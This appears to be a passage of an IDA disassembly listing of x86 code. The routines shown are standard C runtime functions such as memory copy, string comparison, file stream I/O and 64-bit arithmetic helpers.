		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78C+34p
					; sub_40D78C+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFFC
		call	sub_422608
		mov	edx, dword_4DCFFC
		pop	ecx
		mov	ecx, dword_4DCFF8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFFC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFF8
		sub	ecx, dword_4DCFFC
		mov	dword_4DCFFC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFF8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFF8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D879+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFFC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFFC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFFC
		mov	dword_4DCFF8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Cp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2770120h
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2860000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB9C2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB9C0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB9BE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB9BA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB9B8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB9B0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2850000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB9B8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB9B0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DBA0C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB958, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B09+19Ep
					; sub_41386C+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416909+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2690400h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2680F9Dh
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB958, 0Dh
		mov	dword_4DB95C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416923+3Fp
					; sub_41A98D+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416923+2Dp
					; sub_41A98D+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A33+5Fp
					; sub_416A33+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170ED+BFp
					; sub_4170ED+12Cp ...

var_4		= dword	ptr -4
